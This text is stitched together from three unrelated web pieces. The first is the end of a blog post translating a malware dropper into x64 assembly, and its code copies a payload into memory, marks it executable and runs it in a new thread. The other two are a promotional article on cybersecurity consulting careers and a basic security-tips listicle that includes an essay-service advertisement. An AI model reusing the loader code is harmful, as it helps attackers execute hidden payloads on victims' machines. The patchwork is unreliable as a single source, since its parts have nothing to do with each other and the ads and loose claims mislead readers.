    mov r8b, [payload_len]
    sub     rsp, 32     
    call    RtlMoveMemory
    add     rsp, 32 

    ;; Make new buffer as executable
    mov rcx, [exec_mem]
    xor rdx, rdx
    mov dl, [payload_len]
        mov r8, 0x20
    xor r9, r9
    lea r9, [old_protect]
    sub     rsp, 32     
    call    VirtualProtect
    add     rsp, 32

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32         
    call    printf
    add     rsp, 32 

    sub     rsp, 32             
    call    getchar
    add     rsp, 32

    pop rax

    ;; If all good, run the payload 
    jz  ifrvzero

    xor rcx, rcx
    xor rdx, rdx
    mov r8, [exec_mem]
    xor r9, r9
    push    r9
    push    r9
    call    CreateThread

    mov rcx, rax
    mov rdx, 0xFFFFFFFF
    call    WaitForSingleObject

ifrvzero:

    xor     rax, rax
    call    ExitProcess

As mentioned before, I did my best to match the structure of the C code to the assembly code to make it easy to compare how one section was translated to the other. There are other parts like the jz ifrvzero conditonal jump that I didn't discuss, but those can be easily be understood if you know the basics in assembly.

I've also uploaded the code on it's own repository here. Updates and fixes to the code will be pushed there.


A lot of the concepts I've described in this post were the lessons I learned while working on this project. Most of these can be researched but I'm hoping that collecting them in one location would benefit the next bloke who is crazy like me to do the same.

Feel free to reach out to me on Twitter or LinkedIn for any questions or comments.


The article originally posted at: https://www.accidentalrebel.com/converting-a-malware-dropper-to-x64-assembly.html

Why Cybersecurity Consultants Are In High Demand


A cybersecurity consultant is responsible for identifying vulnerabilities and implementing security measures to protect an organisation's data and systems. This information technology (IT) post is essential in all industries, most notably the healthcare, banking, financial services and insurance sectors where volumes of sensitive information are stored and exchanged regularly. 

In 2020, the global cybersecurity services market was valued at USD$ 91.5 billion and was projected to increase by 10.2% in compound annual growth rate or CAGR from 2021 until 2028. This expansion means more job opportunities for cybersecurity professionals, who can work independently or for IT companies, providing offerings like TechBrain IT Services. (1)  

If you're considering a career in cybersecurity, now is a great time to get started. 

Why becoming a cybersecurity consultant is a great career decision

Transparency Market Research (TMR) shows that the IT security consulting market is expected to reach more than USD$ 28.22 billion by 2031. Because strengthening cybersecurity is a must for all organisations worldwide, the demand for IT consultants remains high, making IT a lucrative career choice. (2)

Below are a few reasons cybersecurity consultants are in high demand.

  • Online security is a must for everyone

The TMR analysts said the increasing demand for IT security experts would likely come from small, medium and large corporations, owing to the pervasive incidences of cyberattacks daily. Financial companies, the healthcare sectors and the growing demand for identity access management (IAM) are further driving the need for IT consultants. (2) 

Companies looking to strengthen their IT security and resiliency must find a recommended cybersecurity consultant to assess capacities, identify threats and vulnerabilities and propose a proactive IT setup and approach. 

  • Cyber breaches are catastrophic  

When an organisation becomes a cyberattack victim, it can spell the end of the road for most. On a global scale, cybercrime losses were estimated at USD$6 trillion in 2021. Damage costs were approximately USD $16.4 billion daily and USD $190,000 for every second during the same period. (3)    

Because of their critical role in promoting cybersecurity and creating a resilient IT infrastructure, organisations are willing to pay a high price for cybersecurity consultants who can help avoid costly data breaches. 

  • Hackers are getting better 

Cybercriminals are getting smarter by the day. In 2019, increases in supply chain hacking noted a 78% rise, while malware attacks saw a 48% increase. An increase in ransomware attacks was also reported by 28% of organisations during the pandemic. Unfortunately, because of the uptick in cyberattacks, hackers' detection and prosecution rates are at a discouraging 0.05%. (3)

A cybersecurity consultant also needs to possess hacking skills to find and exploit weaknesses in the system and propose more effective security measures before their counterparts. As cybercriminals become more sophisticated, so is the demand for these professionals to help companies build resiliency and robust protection. (4)  

  • Increased reliance on digital technologies 

Because of the massive demand for core business processes to become automated, businesses are becoming more exposed to cybersecurity threats. Cybercriminals are always driven by financial gains. Digital information stored in various devices and other electronic systems, including the Internet of Things (IoT) and the cloud, is always an attractive target, allowing cybercriminals to sell data to the black market or resort to identity theft to siphon off millions of cash from unsuspecting users. (4)

As almost all electronic devices are connected to the internet, users must ensure online data protection by hiring a cybersecurity consultant. 

  •  Shift to remote work arrangements 

While remote working arrangements have existed for several years, the pandemic has forced enterprises to increase virtual work opportunities for their employees. Academic institutions also had to embrace online classes, increasing the need for virtual protection.  

Despite the decrease in coronavirus infections, these organisations are bound to continue offering remote work arrangements to their staff and clients. With the risks involved in this setup, organisations need to implement more robust security protocols with advice from IT security experts. 

  • The demand for IT professionals is insatiable 

Cybersecurity expenditure is ever-increasing around the world, particularly in the North American region, which dominated the market share at 39% in 2020. Additionally, Asia Pacific countries hold the highest CAGR prediction of over 16.3%, owing to heightened focus on network security. (1) 

It’s not surprising that the industry has reported a zero-unemployment rate. If you choose this career path, you'll have no problem securing a position in both IT firms and non-IT companies. Hence, aspiring cybersecurity professionals working on earning their IT degrees will have jobs waiting for them. (3)   

  • Cybersecurity is ever-expanding 

New threats are showing up regularly, requiring various vulnerable sectors to ramp up their security protocols. Analysts from the TMR cite that the demand for cybersecurity is increasing, particularly in the financial services sector—which demands a comprehensive and proactive digital protection approach across all fronts. The same holds for the healthcare industry, which the said research firm is preparing for more IT security investments. A cybersecurity consultant is instrumental in enabling these sectors to achieve online protection. (2) 

The best career pathways for cybersecurity consultants

One of the main draws of a cybersecurity career is the wide range of opportunities and career pathways. Most start as members of corporate IT staff and software developers and eventually become system administrators, security and network managers. 

With enough experience, knowledge, certifications and technical skills acquisition, an IT professional can advance as a cybersecurity consultant, taking on a specific cybersecurity category.      

Further, here's a list of the most in-demand cybersecurity fields that professionals can fill before becoming a cybersecurity consultant:

  • Application development security: Cybersecurity workers with this title integrate security measures within an application and develop secure software for offline and online use.   
  • Cloud security: Whether a cloud security analyst, engineer, consultant or architect, an IT professional with this title is tasked to secure all transactions between the cloud and any software application.  
  • Incident responder: The IT specialists in this field are essential in mitigating cybercrime damage and facilitating a company's recovery following an attack. They're tasked to determine attacks, reduce the negative impact of the damage, and formulate data and service recovery methods.  
  • Threat intelligence: This field specialises in how cyberattacks may occur by evaluating weaknesses and vulnerabilities during the development and implementation stages of a specific IT project.  
  • Identity and access management: The IT teams in this field ensure accurate and secure access to data. They also make sure that the information is limited to authorised persons.
  • Data security: These professionals ensure that sensitive personal data remain protected as they're collected, stored, transferred and processed. They're also responsible for enforcing data privacy regulations.    
  • Risk management: Organisations and business sectors face different types of cyber threats. It's up to risk management professionals to identify and address these. 
  • Security compliance: Industries and governments have specific laws and regulations that companies and offices have to meet. Specialists in this field familiarise themselves with these requirements and ensure client compliance. (5)

Conclusion 

With vast opportunities for career entry and advancements, boosted by an ever-increasing employment demand, you can never go wrong in choosing a career in cybersecurity. Professionals in this field are in high demand for the reasons discussed above. This trend will continue as organisations need to be proactive in their approach to cybersecurity, where consultants play a vital role.  

References: 

1. “Cyber Security Services Market Size, Share & Trends Analysis Report By Service Type, By Professional Services (Penetration Testing, Training, Consulting & Advisory), By Managed Services, By Industry Vertical, And Segment Forecasts, 2021 – 2028", Source: https://www.grandviewresearch.com/industry-analysis/cyber-security-service-market
2. "Cyber Security Consulting Market to Surpass US$ 28.22 Bn by 2031: TMR Study", Source: https://www.prnewswire.com/news-releases/cyber-security-consulting-market-to-surpass-us-28-22-bn-by-2031-tmr-study-301446115.html
3. "119 Impressive Cybersecurity Statistics: 2021/2022 Data & Market Analysis", Source: https://financesonline.com/cybersecurity-statistics/
4. "Four Reasons the Cybersecurity Field Is Rapidly Growing", Source: https://sopa.tulane.edu/blog/four-reasons-cybersecurity-field-rapidly-growing
5. "Eight Cybersecurity Skills in Highest Demand", Source: https://extension.harvard.edu/blog/eight-cybersecurity-skills-in-highest-demand/

9 New Cyber Threats and How to Successfully Avoid Them


The digital world is vast and seems endless because, at any given time, there is a lot one can explore. And yes, the digital world also helps people get a lot of work done, along with providing them with a lot of entertainment and fun. But as good and beneficial as the digital world and internet can be, there are also a few downsides. And one of the biggest downsides is falling prey to cyber attacks carried out by hackers on the internet.

A cyber threat or cyber attack is basically a personal attack on an individual through the internet. Although cyber threats and attacks can be carried out randomly, they usually target a person’s or entity’s private information and files. This would make the attack personal, even if it weren’t the intention in the first place. Nevertheless, such cyber threats and attacks not only cause problems in the business world but can also disrupt people's lives.

Thus, in this digital climate, people must learn to take their digital privacy and safety a lot more seriously. If not, the flip side could be dangerous. In this article, we will look closely at some of the new cyber threats and how to avoid them successfully.

But before we jump in, students reading this should also be aware of taking care of their academics. Just like protecting oneself from cyber-attacks, keeping up with one’s academics is also a long process. Luckily, today’s students can also use some services from digital platforms to get help with some of their work. For example, students can use a top platform like Studyfy for their essay writing help or essay editing services. Using such services can also be beneficial in terms of boosting one’s grades.

In no particular order, here are 9 new cyber threats and how to successfully avoid them.

1) Browsing History, Cache, & Cookies

An individual’s browsing history, cache, and cookies can compromise them as it leaves a long trail behind them. If one has all their history available on their systems, they can be exposed to bigger attacks. This is because leaving one’s history behind gives hackers access to a lot more data related to the individual.

2) Login Passwords

Having an easy password can be one of the most dangerous things an individual can do to protect their data and identity. An easy password is something easily guessable or hackable. This means that it wouldn’t take much for a person who may even slightly know things about another to guess their password.

Also, hackers have software to try various combinations that resonate with the personality of the people they are trying to hack. Thus, individuals are advised to create passwords that cannot be cracked easily. A good way of creating a strong password is using a combination of symbols, an alphabet, and numbers, preferably in random order.

3) Logging Out

One of the most foolish things one can do to help hackers or snoopers is not logging out from their accounts and devices. Leaving one’s account open is basically inviting trouble as most of the work is done for them.

People are always advised not to leave their accounts logging for prolonged periods and also to close all background applications when not in use. Regularly logging out and closing the applications one doesn’t use not only makes them more secure but also improves their devices’ overall performance.

4) Clicking on, Opening, or Visiting Unknown Links

Clicking on, opening, or visiting unknown links is one of the most dangerous things one can do to give up their safety and security. This is because, through such links, hackers can drop or execute various types of malware programs into your system. People are advised never to open strange or spammy links, especially those from unfamiliar email addresses or websites.

source: https://unsplash.com/photos/z-upQITw4fY 

5) Multi-Factor Authentication Processes

Enabling a multi-factor authentication process means that you are adding an extra layer of security for your accounts, devices, and systems. Today, one can also use various biometric technologies like face scanners or fingerprint scanners to confirm your identity.

A multi-factor authentication system would need you to not only enter your standard password but also verify that it is you who is trying to log in. Most applications and platforms today also allow their users to authenticate their identities by receiving verification codes on their email or phones.

6) Email Providers

One of the leading ways of getting hacked or compromising one’s account, system, and data is through email. Through email, hackers can target and send users all sorts of malware and viruses. What’s more, several hackers use professional-looking emails and information to further deceive people.

Thus, it is highly crucial that people first choose an email company or provider that is well-known for filtering out spam emails. Additionally, people are always advised to never click on any links from unknown email senders and never to download anything that seems fishy.

7) IP Address & VPN

Snoopers and hackers on the internet are notorious for using your IP address against you in harmful ways. Through your IP address, they can source all types of information, like what kind of device you use or who your data providers are. This makes it easier for them to hack you in the future.

To avoid this, people are always advised to use VPN services or Virtual Private Networks. VPNs not only allow you to mask and change your location but also hides your IP address from snoopers and hackers. One should use a VPN when using public networks for their internet services.

8) Antivirus Software & Tools

One of the easiest ways of protecting oneself from the dangers of the internet and hackers is by getting antivirus software and tools. Although no antivirus can guarantee against all types of harm that could happen to your account or devices, they are still very useful.

Any good antivirus software, even free versions, can protect one’s system from various types of threats. Most antivirus software can scan through your system and locate potential malicious bugs, viruses, and other dangerous content.

9) Data Backups

Backing up your data means that you will always have your data in a safe and secure place away from the reach of hackers. You can either backup your data on secure clouds like Apple and Google or external storage devices like hard drives and USB sticks.

If you backup your data regularly, you will also be able to clean your device often. This ensures that your system gets rid of any malware without compromising any of your vital data.

The Bottom Line

So, there you have it, a full-proof guide for protecting yourself from the dangers of the digital world. Although the above points are valid and can help you get more secure, there are always more ways through which you can improve your security. As we already know, the digital world is an ever-dynamic one that keeps evolving. Thus, consistent education from credible sources is the key to always keeping yourself protected – now and in the future.